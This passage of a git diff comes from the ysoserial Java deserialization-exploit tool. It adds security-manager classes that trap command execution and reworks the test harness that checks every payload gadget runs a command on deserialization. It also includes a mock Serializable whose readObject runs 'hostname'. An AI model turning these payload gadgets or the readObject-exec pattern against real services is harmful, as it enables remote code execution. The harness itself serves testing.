getSecurityManager().checkAccess(g); + } + + @Override + public void checkExit(int status) { + + getSecurityManager().checkExit(status); + } + + @Override + public void checkExec(String cmd) { + + getSecurityManager().checkExec(cmd); + } + + @Override + public void checkLink(String lib) { + + getSecurityManager().checkLink(lib); + } + + @Override + public void checkRead(FileDescriptor fd) { + + getSecurityManager().checkRead(fd); + } + + @Override + public void checkRead(String file) { + + getSecurityManager().checkRead(file); + } + + @Override + public void checkRead(String file, Object context) { + + getSecurityManager().checkRead(file, context); + } + + @Override + public void checkWrite(FileDescriptor fd) { + + getSecurityManager().checkWrite(fd); + } + + @Override + public void checkWrite(String file) { + + getSecurityManager().checkWrite(file); + } + + @Override + public void checkDelete(String file) { + + getSecurityManager().checkDelete(file); + } + + @Override + public void checkConnect(String host, int port) { + + getSecurityManager().checkConnect(host, port); + } + + @Override + public void checkConnect(String host, int port, Object context) { + + getSecurityManager().checkConnect(host, port, context); + } + + @Override + public void checkListen(int port) { + + getSecurityManager().checkListen(port); + } + + @Override + public void checkAccept(String host, int port) { + + getSecurityManager().checkAccept(host, port); + } + + @Override + public void checkMulticast(InetAddress maddr) { + + getSecurityManager().checkMulticast(maddr); + } + + @Override + public void checkMulticast(InetAddress maddr, byte ttl) { + + getSecurityManager().checkMulticast(maddr, ttl); + } + + @Override + public void checkPropertiesAccess() { + + getSecurityManager().checkPropertiesAccess(); + } + + @Override + public void checkPropertyAccess(String key) { + + getSecurityManager().checkPropertyAccess(key); + } + + @Override + public boolean checkTopLevelWindow(Object window) { + + return getSecurityManager().checkTopLevelWindow(window); + } + + @Override + public void checkPrintJobAccess() { + + getSecurityManager().checkPrintJobAccess(); + } + + @Override + public void checkSystemClipboardAccess() { + + getSecurityManager().checkSystemClipboardAccess(); + } + + @Override + public void checkAwtEventQueueAccess() { + + getSecurityManager().checkAwtEventQueueAccess(); + } + + @Override + public void checkPackageAccess(String pkg) { + + getSecurityManager().checkPackageAccess(pkg); + } + + @Override + public void checkPackageDefinition(String pkg) { + + getSecurityManager().checkPackageDefinition(pkg); + } + + @Override + public void checkSetFactory() { + + getSecurityManager().checkSetFactory(); + } + + @Override + public void checkMemberAccess(Class clazz, int which) { + + getSecurityManager().checkMemberAccess(clazz, which); + } + + @Override + public void checkSecurityAccess(String target) { + + getSecurityManager().checkSecurityAccess(target); + } + + @Override + public ThreadGroup getThreadGroup() { + + return getSecurityManager().getThreadGroup(); + } +} \ No newline at end of file diff --git a/src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java b/src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java new file mode 100644 index 0000000..b01aff5 --- /dev/null +++ b/src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java @@ -0,0 +1,87 @@ +package ysoserial.secmgr; + +import java.security.Permission; +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; +import java.util.concurrent.Callable; + +public class ExecCheckingSecurityManager extends SecurityManager { + public ExecCheckingSecurityManager() { + this(true); + } + + public ExecCheckingSecurityManager(boolean throwException) { + this.throwException = throwException; + } + + private final boolean throwException; + + private final List cmds = new LinkedList(); + + public List getCmds() { + return Collections.unmodifiableList(cmds); + } + + @Override + public void checkPermission(final Permission perm) { } + + @Override + public void checkPermission(final Permission perm, final Object context) { } + + @Override + public void checkExec(final String cmd) { + super.checkExec(cmd); + + cmds.add(cmd); + + if (throwException) { + // throw a special exception to ensure we can detect exec() in the test + throw new ExecException(cmd); + } + }; + + + @SuppressWarnings("serial") + public static class ExecException extends RuntimeException { + private final String threadName = Thread.currentThread().getName(); + private final String cmd; + public ExecException(String cmd) { this.cmd = cmd; } + public String getCmd() { return cmd; } + public String getThreadName() { return threadName; } + @ + Override + public String getMessage() { + return "executed `" + getCmd() + "` in [" + getThreadName() + "]"; + } + } + + public void wrap(final Runnable runnable) throws Exception { + wrap(new Callable(){ + public Void call() throws Exception { + runnable.run(); + return null; + } + }); + } + + public T wrap(final Callable callable) throws Exception { + SecurityManager sm = System.getSecurityManager(); // save sm + System.setSecurityManager(this); + try { + T result = callable.call(); + if (throwException && ! getCmds().isEmpty()) { + throw new ExecException(getCmds().get(0)); + } + return result; + } catch (Exception e) { + if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) { + throw new ExecException(getCmds().get(0)); + } else { + throw e; + } + } finally { + System.setSecurityManager(sm); // restore sm + } + } +} \ No newline at end of file diff --git a/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java b/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java new file mode 100755 index 0000000..b52d3ec --- /dev/null +++ b/src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java @@ -0,0 +1,35 @@ +package ysoserial.secmgr; + +import java.util.concurrent.Callable; + +public class ThreadLocalSecurityManager extends DelegateSecurityManager { + private static final ThreadLocalSecurityManager INSTANCE + = new ThreadLocalSecurityManager(); + + private final ThreadLocal threadDelegates + = new ThreadLocal(); + + public void install() { + System.setSecurityManager(this); + } + + @Override + public void setSecurityManager(SecurityManager threadManager) { + threadDelegates.set(threadManager); + } + + @Override + public SecurityManager getSecurityManager() { + return threadDelegates.get(); + } + + public V wrap(SecurityManager sm, Callable callable) throws Exception { + SecurityManager old = getSecurityManager(); + setSecurityManager(sm); + try { + return callable.call(); + } finally { + setSecurityManager(old); + } + } +} diff --git a/src/test/java/ysoserial/DeserializerThunk.java b/src/test/java/ysoserial/DeserializerThunk.java deleted file mode 100644 index 522c48f..0000000 --- a/src/test/java/ysoserial/DeserializerThunk.java +++ /dev/null @@ -1,17 +0,0 @@ -package ysoserial; - -import java.io.ByteArrayInputStream; -import java.io.ObjectInputStream; -import java.util.concurrent.Callable; - -/* - * deserializes specified bytes; for use from isolated classloader - */ -public class DeserializerThunk implements Callable { - private final byte[] bytes; - public DeserializerThunk(byte[] bytes) { this.bytes = bytes; } - public Object call() throws Exception { - ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes)); - return ois.readObject(); - } -} \ No newline at end of file diff --git a/src/test/java/ysoserial/ExecSerializable.java b/src/test/java/ysoserial/ExecSerializable.java deleted file mode 100644 index 5f4113f..0000000 --- a/src/test/java/ysoserial/ExecSerializable.java +++ /dev/null @@ -1,19 +0,0 @@ -package ysoserial; - -import java.io.IOException; -import java.io.ObjectInputStream; -import java.io.Serializable; - -@SuppressWarnings("serial") -public class ExecSerializable implements Serializable { - private final String cmd; - public ExecSerializable(String cmd) { this.cmd = cmd; } - - private void readObject(final ObjectInputStream ois) { - try { - Runtime.getRuntime().exec("hostname"); - } catch (IOException e) { - e.printStackTrace(); - } - } -} \ No newline at end of file diff --git a/src/test/java/ysoserial/exploit/RMIRegistryExploitTest.java b/src/test/java/ysoserial/exploit/RMIRegistryExploitTest.java new file mode 100755 index 0000000..8b90f19 --- /dev/null +++ b/src/test/java/ysoserial/exploit/RMIRegistryExploitTest.java @@ -0,0 +1,18 @@ +package ysoserial.exploit; + +import java.rmi.RemoteException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +public class RMIRegistryExploitTest { + public static void createRegistry(int port) throws RemoteException { + Registry registry = LocateRegistry.createRegistry(port); + } + + public static void main(String[] args) throws RemoteException, InterruptedException { + String portStr = args.length > 0 && args[0] != null ? args[0] : "1099"; + int port = Integer.parseInt(portStr); + createRegistry(port); + while (true) Thread.sleep(1000); + } +} diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index caca033..b5fd940 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -5,6 +5,8 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIA import java.io.File; import java.net.URL; import java.net.URLClassLoader; +import java.util.Arrays; +import java.util.Set; import java.util.concurrent.Callable; import org.hamcrest.CoreMatchers; @@ -17,39 +19,37 @@ import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import org.junit.runners.Parameterized.Parameters; -import ysoserial.DeserializerThunk; -import ysoserial.ExecBlockingSecurityManager; -import ysoserial.ExecBlockingSecurityManager.ExecException; -import ysoserial.ExecSerializable; +import ysoserial.Deserializer; +import ysoserial.Serializer; import ysoserial.Throwables; +import ysoserial.payloads.TestHarnessTest.ExecMockPayload; +import ysoserial.payloads.TestHarnessTest.NoopMockPayload; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.ClassFiles; -import ysoserial.payloads.util.Serializables; +import ysoserial.secmgr.ExecCheckingSecurityManager; +import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException; /* * tests each of the parameterize Payload classes by using a mock SecurityManager that throws * a special exception when an exec() attempt is made for more reliable detection; self-tests * the harness for trivial pass and failure cases -TODO: pull out harness tests so they are only run once TODO: figure out better way to test exception behavior than comparing messages */ @SuppressWarnings({"restriction", "unused", "unchecked"}) @RunWith(Parameterized.class) public class PayloadsTest { private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); - private static final String DESER_THUNK_CLASS = DeserializerThunk.class.getName(); - - @Rule - public final ProvideSecurityManager psm = new ProvideSecurityManager(new ExecBlockingSecurityManager()); - + @Parameters(name = "payloadClass: {0}") public static Class>[] payloads() { - return new Class[] { CommonsCollections1.class, Groovy1.class , CommonsCollections2.class, Spring1.class }; - } + Set> payloadClasses = ObjectPayload.Utils.getPayloadClasses(); + payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class)); + return payloadClasses.toArray(new Class[0]); + } + + private final Class> payloadClass; - private final Class> payloadClass; - public PayloadsTest(Class> payloadClass) { this.payloadClass = payloadClass; } @@ -58,89 +58,56 @@ public class PayloadsTest { public void testPayload() throws Exception { testPayload(payloadClass, new Class[0]); } - - public static void testPayload(final Class> payloadClass, Class[] addlClassesForClassLoader) throws Exception { - String command = "hostname"; - Dependencies depsAnn = payloadClass.getAnnotation(Dependencies.class); - String[] deps = depsAnn != null ? depsAnn.value() : new String[0]; - ObjectPayload payload = payloadClass.newInstance(); - final Object f = payload.getObject(command); - final byte[] serialized = Serializables.serialize(f); - try { - deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); + + public static void testPayload(final Class> payloadClass, final Class[] addlClassesForClassLoader) throws Exception { + final String command = "hostname"; + final String[] deps = Dependencies.Utils.getDependencies(payloadClass); + ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); + final byte[] serialized = sm.wrap(new Callable(){ + public byte[] call() throws Exception { + ObjectPayload payload = payloadClass.newInstance(); + final Object f = payload.getObject(command); + return Serializer.serialize(f); + }}); + + try { + Object deserialized = sm.wrap(new Callable(){ + public Object call() throws Exception { + return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); + } + }); + Assert.fail(ASSERT_MESSAGE); // should never get here } catch (Throwable e) { // hopefully everything will reliably nest our ExecException Throwable innerEx = Throwables.getInnermostCause(e); Assert.assertEquals(ExecException.class, innerEx.getClass()); - Assert.assertEquals(command, ((ExecException) innerEx).getCmd()); - } + Assert.assertEquals(command, ((ExecException) innerEx).getCmd()); + } + Assert.assertEquals(Arrays.asList(command), sm.getCmds()); } - + @SuppressWarnings({ "unchecked" }) - private static void deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class[] classDependencies) throws Exception { - // special case for using TemplatesImpl gadgets with a SecurityManager enabled - System.setProperty(DESERIALIZE_TRANSLET, "true"); - + private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class[] classDependencies) throws Exception { File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; URL[] urls = new URL[jars.length]; for (int i = 0; i < jars.length; i++) { urls[i] = jars[i].toURI().toURL(); } - + URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{ for (Class clazz : classDependencies) { byte[] classAsBytes = ClassFiles.classAsBytes(clazz); - defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); + defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); } - byte[] deserializerClassBytes = ClassFiles.classAsBytes(DeserializerThunk.class); - defineClass(DeserializerThunk.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); - + byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class); + defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + }}; - - Class deserializerClass = isolatedClassLoader.loadClass(DESER_THUNK_CLASS); + + Class deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName()); Callable deserializer = (Callable) deserializerClass.getConstructors()[0].newInstance(serialized); - final Object obj = deserializer.call(); + final Object obj = deserializer.call(); + return obj; } - - // make sure test harness fails properly - @Test - public void testHarnessExecFail() throws Exception { - try { - testPayload(NoopMockPayload.class, new Class[0]); - Assert.fail("should have failed"); - } catch (AssertionError e) { - Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:")); - - } - } - - // make sure test harness fails properly - @Test - public void testHarnessClassLoaderFail() throws Exception { - try { - testPayload(ExecMockPayload.class, new Class[0]); - Assert.fail("should have failed"); - } catch (AssertionError e) { - Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); - } - } - - // make sure test harness passes properly with trivial execution gadget - @Test - public void testHarnessExecPass() throws Exception { - testPayload(ExecMockPayload.class, new Class[] { ExecSerializable.class }); - } - - public static class ExecMockPayload implements ObjectPayload { - public ExecSerializable getObject(String command) throws Exception { - return new ExecSerializable(command); - } - } - - public static class NoopMockPayload implements ObjectPayload { - public Integer getObject(String command) throws Exception { - return 1; - } - } } diff --git a/src/test/java/ysoserial/payloads/TestHarnessTest.java b/src/test/java/ysoserial/payloads/TestHarnessTest.java new file mode 100755 index 0000000..8c4c531 --- /dev/null +++ b/src/test/java/ysoserial/payloads/TestHarnessTest.java @@ -0,0 +1,66 @@ +package ysoserial.payloads; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.Serializable; + +import org.hamcrest.CoreMatchers; +import org.junit.Assert; +import org.junit.Test; + +public class TestHarnessTest { + // make sure test harness fails properly + @Test + public void testHarnessExecFail() throws Exception { + try { + PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]); + Assert.fail("should have failed"); + } catch (AssertionError e) { + Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:")); + + } + } + + // make sure test harness fails properly + @Test + public void testHarnessClassLoaderFail() throws Exception { + try { + PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]); + Assert.fail("should have failed"); + } catch (AssertionError e) { + Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); + } + } + + // make sure test harness passes properly with trivial execution gadget + @Test + public void testHarnessExecPass() throws Exception { + PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class }); + } + + public static class ExecMockPayload implements ObjectPayload { + public ExecMockSerializable getObject(String command) throws Exception { + return new ExecMockSerializable(command); + } + } + + public static class NoopMockPayload implements ObjectPayload { + public Integer getObject(String command) throws Exception { + return 1; + } + } + + @SuppressWarnings("serial") + public static class ExecMockSerializable implements Serializable { + private final String cmd; + public ExecMockSerializable(String cmd) { this.cmd = cmd; } + + private void readObject(final ObjectInputStream ois) { + try { + Runtime.getRuntime().exec("hostname"); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + } +}